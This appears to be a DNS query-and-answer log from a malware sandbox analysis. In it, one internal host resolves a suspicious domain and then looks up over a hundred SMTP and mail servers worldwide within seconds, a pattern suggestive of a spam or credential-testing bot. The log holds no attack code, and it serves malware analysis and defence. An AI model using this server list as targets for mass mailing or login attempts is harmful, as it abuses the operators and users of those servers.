May 19, 2024 17:28:03.488075972 CEST	192.168.2.4	1.1.1.1	0xdd60	Standard query (0)	mail.helmsman.co.uk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.602585077 CEST	192.168.2.4	1.1.1.1	0x3ab4	Standard query (0)	out.gregorgergen.de	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.697911024 CEST	192.168.2.4	1.1.1.1	0x5f19	Standard query (0)	securesmtp.rmzvqp.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.698138952 CEST	192.168.2.4	1.1.1.1	0x84e8	Standard query (0)	bigpond.net.au	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.841799974 CEST	192.168.2.4	1.1.1.1	0x7a0a	Standard query (0)	mail.parmafacile.it	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.842871904 CEST	192.168.2.4	1.1.1.1	0xd977	Standard query (0)	smtp.turkler.net	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.843281031 CEST	192.168.2.4	1.1.1.1	0x39a3	Standard query (0)	ex4.mail.ovh.net	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.843281031 CEST	192.168.2.4	1.1.1.1	0x5e22	Standard query (0)	mail.osbt.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.949242115 CEST	192.168.2.4	1.1.1.1	0xa981	Standard query (0)	secure.cookcs.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:04.003241062 CEST	192.168.2.4	1.1.1.1	0xa63f	Standard query (0)	out.afghan24.de	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:04.139313936 CEST	192.168.2.4	1.1.1.1	0x4ca9	Standard query (0)	uorak.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:04.139379978 CEST	192.168.2.4	1.1.1.1	0x2f41	Standard query (0)	mail.t-email.hu	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:04.146959066 CEST	192.168.2.4	1.1.1.1	0x6aa6	Standard query (0)	out.syntec.carlisle.ca	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:04.286712885 CEST	192.168.2.4	1.1.1.1	0xb81a	Standard query (0)	smtp.galual.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 19, 2024 17:26:01.727019072 CEST	1.1.1.1	192.168.2.4	0x675d	No error (0)	cobusabobus.cam		212.162.153.199	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.150046110 CEST	1.1.1.1	192.168.2.4	0x12cc	No error (0)	abv.bg		194.153.145.104	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.302479029 CEST	1.1.1.1	192.168.2.4	0x7f90	No error (0)	mail.unionpayroll.com	unionpayroll.com		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:37.302479029 CEST	1.1.1.1	192.168.2.4	0x7f90	No error (0)	unionpayroll.com		192.0.78.170	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.302479029 CEST	1.1.1.1	192.168.2.4	0x7f90	No error (0)	unionpayroll.com		192.0.78.205	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.313477993 CEST	1.1.1.1	192.168.2.4	0xb129	No error (0)	aon.at		193.81.82.81	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.318413019 CEST	1.1.1.1	192.168.2.4	0xc2	No error (0)	mail.i.ua		104.18.2.81	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.318413019 CEST	1.1.1.1	192.168.2.4	0xc2	No error (0)	mail.i.ua		104.18.3.81	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.323168039 CEST	1.1.1.1	192.168.2.4	0x839	No error (0)	m.dogspot.in		188.114.96.3	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.323168039 CEST	1.1.1.1	192.168.2.4	0x839	No error (0)	m.dogspot.in		188.114.97.3	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.342638016 CEST	1.1.1.1	192.168.2.4	0xc6a4	No error (0)	smtp.me.com	smtp.me.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:37.401196003 CEST	1.1.1.1	192.168.2.4	0x18d1	Name error (3)	mail.optum.com.dev	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.501322985 CEST	1.1.1.1	192.168.2.4	0x7d39	No error (0)	meta.ua		104.22.65.144	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.501322985 CEST	1.1.1.1	192.168.2.4	0x7d39	No error (0)	meta.ua		172.67.25.217	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.501322985 CEST	1.1.1.1	192.168.2.4	0x7d39	No error (0)	meta.ua		104.22.64.144	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.590429068 CEST	1.1.1.1	192.168.2.4	0x4f0e	No error (0)	smtp.tds.net	mail.tds.syn-alias.com		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:37.590429068 CEST	1.1.1.1	192.168.2.4	0x4f0e	No error (0)	mail.tds.syn-alias.com		129.159.94.43	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.691379070 CEST	1.1.1.1	192.168.2.4	0xe8b0	No error (0)	sympatico.ca		199.85.66.2	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.691431999 CEST	1.1.1.1	192.168.2.4	0xdc7	No error (0)	smtp.ig.com.br	smtp-ha.skymail.net.br		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:37.691431999 CEST	1.1.1.1	192.168.2.4	0xdc7	No error (0)	smtp-ha.skymail.net.br		168.0.132.203	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.795514107 CEST	1.1.1.1	192.168.2.4	0xeb4c	No error (0)	mail.hot.ee	imap.dka.mailcore.net		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:37.795514107 CEST	1.1.1.1	192.168.2.4	0xeb4c	No error (0)	imap.dka.mailcore.net		81.7.169.213	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.795514107 CEST	1.1.1.1	192.168.2.4	0xeb4c	No error (0)	imap.dka.mailcore.net		81.7.169.195	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.803209066 CEST	1.1.1.1	192.168.2.4	0x3936	No error (0)	hzmx01.mxmail.netease.com		52.223.4.149	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.803209066 CEST	1.1.1.1	192.168.2.4	0x3936	No error (0)	hzmx01.mxmail.netease.com		35.71.156.90	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.807992935 CEST	1.1.1.1	192.168.2.4	0x7d48	Name error (3)	securesmtp.iokugoi.fr	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.924712896 CEST	1.1.1.1	192.168.2.4	0x95d0	Name error (3)	securesmtp.ceresiosim.it	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:37.929601908 CEST	1.1.1.1	192.168.2.4	0xc5ea	No error (0)	nate.com		120.50.131.112	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.058993101 CEST	1.1.1.1	192.168.2.4	0x63ce	No error (0)	smtp.siol.net	mail.siol.net		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:38.058993101 CEST	1.1.1.1	192.168.2.4	0x63ce	No error (0)	mail.siol.net		213.250.19.150	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.072387934 CEST	1.1.1.1	192.168.2.4	0xc807	Name error (3)	secure.dr-gehring.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.133785963 CEST	1.1.1.1	192.168.2.4	0xdbf	Name error (3)	smtp.winkworthconsulting.co.uk	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.237514973 CEST	1.1.1.1	192.168.2.4	0xa87c	No error (0)	temporary-mail.net		188.114.96.3	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.237514973 CEST	1.1.1.1	192.168.2.4	0xa87c	No error (0)	temporary-mail.net		188.114.97.3	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.292993069 CEST	1.1.1.1	192.168.2.4	0x364c	No error (0)	smtp.virgilio.it	out.virgilio.it		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:38.292993069 CEST	1.1.1.1	192.168.2.4	0x364c	No error (0)	out.virgilio.it		213.209.1.145	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.293030024 CEST	1.1.1.1	192.168.2.4	0x6cdd	Name error (3)	secure.academy.vipcapitalfx.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.349178076 CEST	1.1.1.1	192.168.2.4	0x4668	Name error (3)	mail.mikeandcheryl.ca	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.349205017 CEST	1.1.1.1	192.168.2.4	0x5f43	No error (0)	smtp.bbox.fr		194.158.122.55	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.357352018 CEST	1.1.1.1	192.168.2.4	0x4cb6	No error (0)	out.provcos.com		204.11.56.50	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.429004908 CEST	1.1.1.1	192.168.2.4	0x4c25	Name error (3)	securesmtp.aigpol.be	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.492515087 CEST	1.1.1.1	192.168.2.4	0xfe65	No error (0)	out.samu.co.uk		13.248.169.48	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.492515087 CEST	1.1.1.1	192.168.2.4	0xfe65	No error (0)	out.samu.co.uk		76.223.54.146	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.498420000 CEST	1.1.1.1	192.168.2.4	0x3539	Name error (3)	mail.trinipulse.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.498450041 CEST	1.1.1.1	192.168.2.4	0xae61	No error (0)	smtp.sbg.at		213.153.32.148	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.518501043 CEST	1.1.1.1	192.168.2.4	0xc96a	Name error (3)	securesmtp.564269.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.605178118 CEST	1.1.1.1	192.168.2.4	0xd648	No error (0)	smtp.netzero.net		64.136.52.44	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.605178118 CEST	1.1.1.1	192.168.2.4	0xd648	No error (0)	smtp.netzero.net		64.136.44.44	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.620249987 CEST	1.1.1.1	192.168.2.4	0xe094	No error (0)	mail.bsliquors.com	pop.secureserver.net		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:38.620249987 CEST	1.1.1.1	192.168.2.4	0xe094	No error (0)	pop.secureserver.net	pop.vox.secureserver.net		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:38.620249987 CEST	1.1.1.1	192.168.2.4	0xe094	No error (0)	pop.vox.secureserver.net	pop.us-phx.vox.secureserver.net		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:38.620249987 CEST	1.1.1.1	192.168.2.4	0xe094	No error (0)	pop.us-phx.vox.secureserver.net		68.178.252.117	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.620249987 CEST	1.1.1.1	192.168.2.4	0xe094	No error (0)	pop.us-phx.vox.secureserver.net		173.201.193.97	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.620249987 CEST	1.1.1.1	192.168.2.4	0xe094	No error (0)	pop.us-phx.vox.secureserver.net		173.201.193.240	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.620249987 CEST	1.1.1.1	192.168.2.4	0xe094	No error (0)	pop.us-phx.vox.secureserver.net		68.178.252.246	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.620249987 CEST	1.1.1.1	192.168.2.4	0xe094	No error (0)	pop.us-phx.vox.secureserver.net		68.178.252.153	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.620249987 CEST	1.1.1.1	192.168.2.4	0xe094	No error (0)	pop.us-phx.vox.secureserver.net		68.178.252.247	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.620249987 CEST	1.1.1.1	192.168.2.4	0xe094	No error (0)	pop.us-phx.vox.secureserver.net		68.178.252.154	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.644560099 CEST	1.1.1.1	192.168.2.4	0x5ed0	No error (0)	smtp.fondazioneitscatania.it		62.149.128.200	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.644560099 CEST	1.1.1.1	192.168.2.4	0x5ed0	No error (0)	smtp.fondazioneitscatania.it		62.149.128.202	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.644560099 CEST	1.1.1.1	192.168.2.4	0x5ed0	No error (0)	smtp.fondazioneitscatania.it		62.149.128.201	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.644560099 CEST	1.1.1.1	192.168.2.4	0x5ed0	No error (0)	smtp.fondazioneitscatania.it		62.149.128.203	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.659794092 CEST	1.1.1.1	192.168.2.4	0xd1f2	No error (0)	mail.essepiauto.it		80.88.87.236	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.744657993 CEST	1.1.1.1	192.168.2.4	0xa6e9	No error (0)	kefgames.net		72.52.178.23	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.764775038 CEST	1.1.1.1	192.168.2.4	0xf7a3	Name error (3)	smtp.studentnbed.nb.ca	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.769526958 CEST	1.1.1.1	192.168.2.4	0x6738	Name error (3)	securesmtp.harborwc.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.779038906 CEST	1.1.1.1	192.168.2.4	0xbb7d	Name error (3)	out.ccmedia.fr	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.788925886 CEST	1.1.1.1	192.168.2.4	0xfb55	No error (0)	smtp.bex.net	mail.buckeyecom.net		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:38.788925886 CEST	1.1.1.1	192.168.2.4	0xfb55	No error (0)	mail.buckeyecom.net		209.67.129.55	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.885062933 CEST	1.1.1.1	192.168.2.4	0x2957	No error (0)	mail.bg		193.201.172.98	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.928293943 CEST	1.1.1.1	192.168.2.4	0x4200	Name error (3)	out.alpi-med.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.938724041 CEST	1.1.1.1	192.168.2.4	0xdb08	No error (0)	hamamatsu.se		182.48.49.234	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.949531078 CEST	1.1.1.1	192.168.2.4	0xa04e	No error (0)	smtp.cyberia.net.lb		194.126.4.84	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.988301992 CEST	1.1.1.1	192.168.2.4	0xac4c	Name error (3)	securesmtp.vieiracessorios.com.br	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:38.997991085 CEST	1.1.1.1	192.168.2.4	0xa91	No error (0)	mx.generic-isp.com		142.93.237.125	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.003465891 CEST	1.1.1.1	192.168.2.4	0x8f5d	Name error (3)	adultbizevents.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.003494024 CEST	1.1.1.1	192.168.2.4	0x5da0	Name error (3)	secure.iqasllc.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.008197069 CEST	1.1.1.1	192.168.2.4	0xa0bd	No error (0)	smtp.maharahr.com		3.64.163.50	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.017777920 CEST	1.1.1.1	192.168.2.4	0x5423	Name error (3)	smtp.cooperagroup.es	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.031996012 CEST	1.1.1.1	192.168.2.4	0x3a83	Name error (3)	out.oratorica.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.084605932 CEST	1.1.1.1	192.168.2.4	0x2868	No error (0)	mail.rcn.com		129.213.13.252	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.098993063 CEST	1.1.1.1	192.168.2.4	0x6195	Name error (3)	mail.soulether.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.099023104 CEST	1.1.1.1	192.168.2.4	0x441a	No error (0)	smtp.nubcakes.co.cc		175.126.123.219	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.108475924 CEST	1.1.1.1	192.168.2.4	0x4228	No error (0)	heritage-title.com		23.253.215.39	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.113816977 CEST	1.1.1.1	192.168.2.4	0xaa11	Name error (3)	securesmtp.alunoavemaria.g12.br	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.198551893 CEST	1.1.1.1	192.168.2.4	0x90ec	No error (0)	mail.interlang.es		82.223.191.150	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.309118032 CEST	1.1.1.1	192.168.2.4	0xf564	No error (0)	mail.windstream.net	mail.windstream.syn-alias.com		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:39.309118032 CEST	1.1.1.1	192.168.2.4	0xf564	No error (0)	mail.windstream.syn-alias.com		193.122.179.25	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.324279070 CEST	1.1.1.1	192.168.2.4	0xb50b	No error (0)	mx.talktalk.net		62.24.202.42	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.334197044 CEST	1.1.1.1	192.168.2.4	0xfe33	Name error (3)	mail.curfewfiresafety.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.394344091 CEST	1.1.1.1	192.168.2.4	0xc387	No error (0)	rogers.com		40.85.218.2	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.409923077 CEST	1.1.1.1	192.168.2.4	0xd2a2	Name error (3)	smtp.alexlee-music.co.uk	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.469156027 CEST	1.1.1.1	192.168.2.4	0xa634	No error (0)	secure.ilike.com	ilike.com		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:39.469156027 CEST	1.1.1.1	192.168.2.4	0xa634	No error (0)	ilike.com		63.135.90.169	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.469168901 CEST	1.1.1.1	192.168.2.4	0xc71b	Name error (3)	securesmtp.segpllc.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.485025883 CEST	1.1.1.1	192.168.2.4	0x6184	No error (0)	docomo.ne.jp		52.223.34.187	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.485025883 CEST	1.1.1.1	192.168.2.4	0x6184	No error (0)	docomo.ne.jp		35.71.162.15	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.504513979 CEST	1.1.1.1	192.168.2.4	0x31ef	No error (0)	smtp.tpg.com.au	mail.tpg.com.au		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:39.504513979 CEST	1.1.1.1	192.168.2.4	0x31ef	No error (0)	mail.tpg.com.au	sep-kakadu02.au-east.atmailcloud.com		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:39.504513979 CEST	1.1.1.1	192.168.2.4	0x31ef	No error (0)	sep-kakadu02.au-east.atmailcloud.com		52.63.237.70	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.504513979 CEST	1.1.1.1	192.168.2.4	0x31ef	No error (0)	sep-kakadu02.au-east.atmailcloud.com		54.206.19.13	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.533261061 CEST	1.1.1.1	192.168.2.4	0x8ffa	No error (0)	irda.pl		104.21.37.242	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.533261061 CEST	1.1.1.1	192.168.2.4	0x8ffa	No error (0)	irda.pl		172.67.215.133	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.586461067 CEST	1.1.1.1	192.168.2.4	0xc8e	No error (0)	smtp.shaw.ca	shawmail.glb.shawcable.net		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:39.586461067 CEST	1.1.1.1	192.168.2.4	0xc8e	No error (0)	shawmail.glb.shawcable.net		64.59.136.142	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.586461067 CEST	1.1.1.1	192.168.2.4	0xc8e	No error (0)	shawmail.glb.shawcable.net		64.59.128.135	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.586474895 CEST	1.1.1.1	192.168.2.4	0x579a	Name error (3)	securesmtp.catsmeowgroomingspa.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.685169935 CEST	1.1.1.1	192.168.2.4	0x7374	No error (0)	mdjev.brandenburg.de		194.76.232.141	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.736769915 CEST	1.1.1.1	192.168.2.4	0x53a4	Name error (3)	mail.escolamodernadeidiomas.com.br	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.760584116 CEST	1.1.1.1	192.168.2.4	0x5ce4	No error (0)	joyrex.net		180.222.13.3	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.771339893 CEST	1.1.1.1	192.168.2.4	0x330	Name error (3)	secure.coelhosom.com.br	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.776118994 CEST	1.1.1.1	192.168.2.4	0x8940	No error (0)	mx.ayutthayathai.com		66.96.140.50	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.776118994 CEST	1.1.1.1	192.168.2.4	0x8940	No error (0)	mx.ayutthayathai.com		66.96.140.52	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.776118994 CEST	1.1.1.1	192.168.2.4	0x8940	No error (0)	mx.ayutthayathai.com		66.96.140.51	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.847439051 CEST	1.1.1.1	192.168.2.4	0x9deb	No error (0)	smtp.mta.ca	smtpy.mta.ca		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:39.847439051 CEST	1.1.1.1	192.168.2.4	0x9deb	No error (0)	smtpy.mta.ca		198.164.44.72	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.856940031 CEST	1.1.1.1	192.168.2.4	0x110a	No error (0)	smtp.alunova.it		116.203.217.231	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.904757977 CEST	1.1.1.1	192.168.2.4	0xbe9f	Name error (3)	securesmtp.hamdmadetour.jp	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.914252996 CEST	1.1.1.1	192.168.2.4	0x521a	No error (0)	mail.interfree.it	smtp.interfree.it		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:39.914252996 CEST	1.1.1.1	192.168.2.4	0x521a	No error (0)	smtp.interfree.it		80.91.55.62	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.943205118 CEST	1.1.1.1	192.168.2.4	0xc005	No error (0)	mx1-eu1.ppe-hosted.com		91.209.104.155	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.943205118 CEST	1.1.1.1	192.168.2.4	0xc005	No error (0)	mx1-eu1.ppe-hosted.com		185.132.181.16	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.955008030 CEST	1.1.1.1	192.168.2.4	0x2492	No error (0)	smtp.citromail.hu	smtp.dka.mailcore.net		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:39.955008030 CEST	1.1.1.1	192.168.2.4	0x2492	No error (0)	smtp.dka.mailcore.net		194.19.134.66	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.955008030 CEST	1.1.1.1	192.168.2.4	0x2492	No error (0)	smtp.dka.mailcore.net		81.7.169.194	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.988213062 CEST	1.1.1.1	192.168.2.4	0x9728	Name error (3)	securesmtp.clubinternet.fr	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.028877974 CEST	1.1.1.1	192.168.2.4	0xe251	Name error (3)	secure.protocallmcs.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.069041967 CEST	1.1.1.1	192.168.2.4	0x4d71	No error (0)	c-line.de		62.116.169.204	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.100418091 CEST	1.1.1.1	192.168.2.4	0x9b90	Name error (3)	smtp.nerdheaven.dk	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.118172884 CEST	1.1.1.1	192.168.2.4	0xf845	No error (0)	mail.baritextilemills.com		72.18.132.28	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.132810116 CEST	1.1.1.1	192.168.2.4	0xcac1	No error (0)	smtp.ilski.fr	ns0.ovh.net		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:40.132810116 CEST	1.1.1.1	192.168.2.4	0xcac1	No error (0)	ns0.ovh.net		193.70.18.144	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.234097958 CEST	1.1.1.1	192.168.2.4	0xb2c1	No error (0)	eyou.com		117.50.20.113	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.276313066 CEST	1.1.1.1	192.168.2.4	0x979c	Name error (3)	secure.avenirtc.fr	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.276321888 CEST	1.1.1.1	192.168.2.4	0x5065	Name error (3)	securesmtp.lexie.jp	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.276349068 CEST	1.1.1.1	192.168.2.4	0x19c2	No error (0)	out.berging.se		94.231.107.219	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.302156925 CEST	1.1.1.1	192.168.2.4	0x3088	No error (0)	smtp.telenet.be		195.130.132.10	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.302156925 CEST	1.1.1.1	192.168.2.4	0x3088	No error (0)	smtp.telenet.be		195.130.132.11	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.307360888 CEST	1.1.1.1	192.168.2.4	0x9915	Name error (3)	securesmtp.toolbarie.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.327102900 CEST	1.1.1.1	192.168.2.4	0x1488	Name error (3)	out.paradoxismical.net	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.401166916 CEST	1.1.1.1	192.168.2.4	0x9586	No error (0)	smtp.telering.at		91.136.8.56	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.420721054 CEST	1.1.1.1	192.168.2.4	0x791c	Name error (3)	pbxxcv.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.524848938 CEST	1.1.1.1	192.168.2.4	0xae76	Name error (3)	mail.fixingwindows8.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.554928064 CEST	1.1.1.1	192.168.2.4	0x2310	Name error (3)	mail.mitsubishimm.cn	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.559830904 CEST	1.1.1.1	192.168.2.4	0xb891	No error (0)	yaho.de		13.248.158.7	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.559830904 CEST	1.1.1.1	192.168.2.4	0xb891	No error (0)	yaho.de		76.223.84.192	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.564565897 CEST	1.1.1.1	192.168.2.4	0xd2c3	Name error (3)	out.gilgenmann.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.564582109 CEST	1.1.1.1	192.168.2.4	0xea86	No error (0)	burns-group.com		162.214.54.15	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.587856054 CEST	1.1.1.1	192.168.2.4	0x5a7d	No error (0)	smtp.breakdesign.com.au	smtp.netregistry.net		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:40.587856054 CEST	1.1.1.1	192.168.2.4	0x5a7d	No error (0)	smtp.netregistry.net		202.124.241.204	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.592689991 CEST	1.1.1.1	192.168.2.4	0x5a7d	No error (0)	smtp.breakdesign.com.au	smtp.netregistry.net		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:40.592689991 CEST	1.1.1.1	192.168.2.4	0x5a7d	No error (0)	smtp.netregistry.net		202.124.241.204	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.647078991 CEST	1.1.1.1	192.168.2.4	0xd88c	Name error (3)	secure.ktf.biglobene.jp	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.711587906 CEST	1.1.1.1	192.168.2.4	0x55f1	Name error (3)	securesmtp.migoz.it	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.735636950 CEST	1.1.1.1	192.168.2.4	0x49fa	No error (0)	smtp.ns.sympatico.ca	smtp.bellaliant.net		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:40.735636950 CEST	1.1.1.1	192.168.2.4	0x49fa	No error (0)	smtp.bellaliant.net	smtp-aliant.bell.net		CNAME (Canonical name)	IN (0x0001)	false
